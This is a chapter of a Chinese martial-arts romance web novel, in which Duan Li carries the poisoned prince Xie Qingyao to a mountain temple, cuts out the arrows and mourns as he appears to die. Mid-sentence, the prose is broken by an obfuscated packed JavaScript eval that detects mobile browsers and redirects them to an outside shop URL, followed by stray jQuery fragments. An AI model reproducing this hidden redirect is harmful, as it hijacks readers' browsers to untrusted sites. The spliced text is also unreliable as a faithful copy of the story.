文趣网 > 其他小说 > 金陵乱 > 28. 湖湘雨(4)
    段离几乎不记得自己是怎么出城的了。

    神智还绷着的最后一处记忆,是她转身背起谢清尧,内力全部集中在腿脚上,拼了命地往外奔。段离轻功本也绝世,当时已在人群之外,就算身上背着个不省人事的,当她全神贯注只想逃命的时候,不消片刻就能摆脱追兵。

    视线中的楼墙街砖,全部蒙上一层烟雨色,飞速向后退去。

    段离一双长腿交替伸展到极致,那种敏捷与力速能让人想到山野间正在捕食的凶兽。若是细看便能发现,雨水落下却不沾衣,在她腿脚几寸之外就被莫名的热意烘发成蒸汽。

    一个念头闪电般滑过脑海,对了,药,可以解毒的药……

    她飞起两下进了一处马厩,将谢清尧侧靠在一根柱子上,然后哆哆嗦嗦地从胸前暗袋里掏出各式各样的瓶瓶罐罐。这些都是她出发前想容给塞的,叮嘱她出门后日日不离身,以备不时之需。段离只粗通药理,于是只能无头苍蝇似的找当时贴了“万能解毒”这个标签的,倒出三四颗中等大小的丸子,掰开谢清尧的嘴往里送。随后怕他吞咽困难,便从水槽里舀起一瓢清水灌下去。

    一番死马当活马医的胡乱操作后,谢清尧仍然没有半点动静,段离刚吊起的一颗心又沉了下去。侧耳听到店家正有人往此处来,段离只能再背起他,穿梭于大街小巷。

    漫无目的地逃窜,段离心里只有一个念头,要去个安全的地方,可什么地方才安全?他们到此才几日,人生地不熟,连守卫一方安宁的官兵都要置他们于死地!

    感觉肩上原本垂着的脑袋忽然动了一下,段离大喜,只听谢清尧断断续续道:“去……南城外……山上……”

    “好。”

    随后他咳了两下,听着肺腑有碍,段离觉得他嘴唇贴在自己颊边,微微张合间强撑着还要再说什么,本以为是再给指示,却只低低唤她名字,道:“对不住……”

    段离鼻头一酸,他有什么可道歉的?如果不是她大意轻敌,如果不是角度刁钻狠辣的毒箭实在难防,他又怎会性命垂危?

    渐渐地,这些不凝神便听不到的细语低沉下去,融化在雨水里,消散在风中。

    傍晚时雨势转小,天色阴沉,城中街道早早点上了灯。细雨朦胧中,安详平和依旧。

    山中,万籁俱寂,唯雨声绵绵。

    竟真让她找到一个破庙。

    段离扫开案上香火烛台,小心翼翼地将谢清尧置于其上。他四肢僵硬,一张脸已经全无血色,唯嘴唇与眼圈乌青。

    原本那样俊朗的一个人……

    段离不忍再看,转头四下搜罗一圈,找到了一床有些发霉的破草席,并几个高低不齐还有豁口的破碗。趁着天未完全黑透,她将几个碗放在檐下接水,先用随身备的短刀将谢清尧背上几支箭削短,留一小截箭头。

    久雨潮湿,树木多不易燃,段离没法将刀过火,只能在划开那几层湿透染血的衣裳后,连着入体的箭尖,生生剔去谢清尧背上腐肉。

    幸好他昏过去了……不然这和上刑有什么区别。

    等最后一声铿啷落地,段离长舒一口气,开始将冰凉润滑的清毒膏药往上抹,抹到两罐都见了底才收手。虽然夜幕已深,段离还是能凭过人的视力看清他背上嶙峋遍布的伤痕。

    在军中待过,就会有这么多伤?心肺周围几道疤痕尤为可怖,简直让人怀疑他是怎么活下来的。

    他不是皇孙吗?天家血脉,离九五之尊那么近,怎会从遇见她起就一直被人追杀,回回身陷险境?

    段离实在想不明白,一阵穿堂冷风让她回了神。

    抹完药后……该是包扎,可两人如今境地,上哪儿去找干净的长条布……

    段离思索一阵后突然顿住,有的。

    人命关天,四下无人,加之本身性别之碍在她那里从没算过什么事,段离稍加犹豫,便松了自己的腰带,将手伸进衣内取出束胸软布。

    一番事毕,段离起身,却是晃了两下才站稳。她揣摩着这座庙宇的结构,奇门遁甲之术,于动可成军队阵法,于静可指导建筑布局。左敲敲右推推,终于摸到一处机关,按下的同时本能躲闪,却没有暗器射出,这让她松了一口气。

    在那暗藏的壁橱中存放的物什,却令她皱起了眉,虽于当下境况有益,但……褥子,厚棉被,使用痕迹看着很新,不像是久置于此……

    这座庙难道被人当成了据点?而她带着一个垂死的人,误打误撞闯进别人的地盘。思虑良久,段离还是毫不客气地把东西拿出来用了,无非是些山贼之流的宵

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17883116|212492||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    小,成不了气候。

    等她在避风处铺好了褥子,准备将谢清尧搬过去的时候,几步之外,段离却停下不动了。

    谢清尧此刻的气息,和死人无异。

    段离扑上前,试着探他的脉象,结果也是极微弱,宛若风中残烛的最后一丝火光,一吹就灭。

    霎时间,本来脑海里满满当当的思虑,全部一扫而空。

    看到他为自己挡箭的那一刻,一颗心本已被剜去一半。

    其实段离知道的……那毒非同凡响,就算她胡乱喂了些丸子吊着他命,还将箭头取出、抹些膏药,都是治标不治本,以她的医药道行,根本治不了本。

    而在此之前,她一直骗自己,他还有救,他会有救的,想容给的那些玩意儿个顶个的精贵,如果派不上用场为什么要给她?!

    现在,面前这具躯体离变成尸体只差临门一脚,这般血淋淋的现实,终究将段离强撑起的镇定与希冀撕个粉碎。

    不能……他不能死啊……

    他死了,那些还饿着的民众怎么办?那些被贼喊捉贼的流民又要怎么办?他们的冤屈谁来洗,那些胡作非为的官兵恶霸,又有谁来管?!

    这三支毒箭,怎么没落在她身上……

    段离红了眼眶,她的指尖紧紧压着谢清尧的手腕,却连最后一丝搏动都探不到了。

    她忽然就气了。

    说好要带她吃遍金陵城呢,说好要把他全副身家赔给她呢?他是亲王,家底该很阔绰吧,王府该很气派吧,她还没去做过客呢!一桩桩一件件,她全记在心上,他怎能就这样赖掉呢?

    “阿离……我是真的……心悦于你……”

    他失去意识前的最后一句话仿佛还萦绕耳边,他的心悦就是这般吗?阴阳两隔,变成鬼再来缠着她吗?还有那么多事等着他去做,他到底发了什么疯,才要将自己置于这等险境!

    越是想起这人从前的嬉皮笑脸,温柔好意,段离的心口越发绞痛。终于,她放开了那只冰凉的胳膊,一只手攥着胸口,额头抵着桌案的棱边,无声地大哭起来。

    悲痛至极的时候,泪依然流得凶猛,喉咙却发不出任何声响。

    这一方神佛垂目的天地之外,夜色无边,潇潇湘雨,穿林打叶,万物空灵。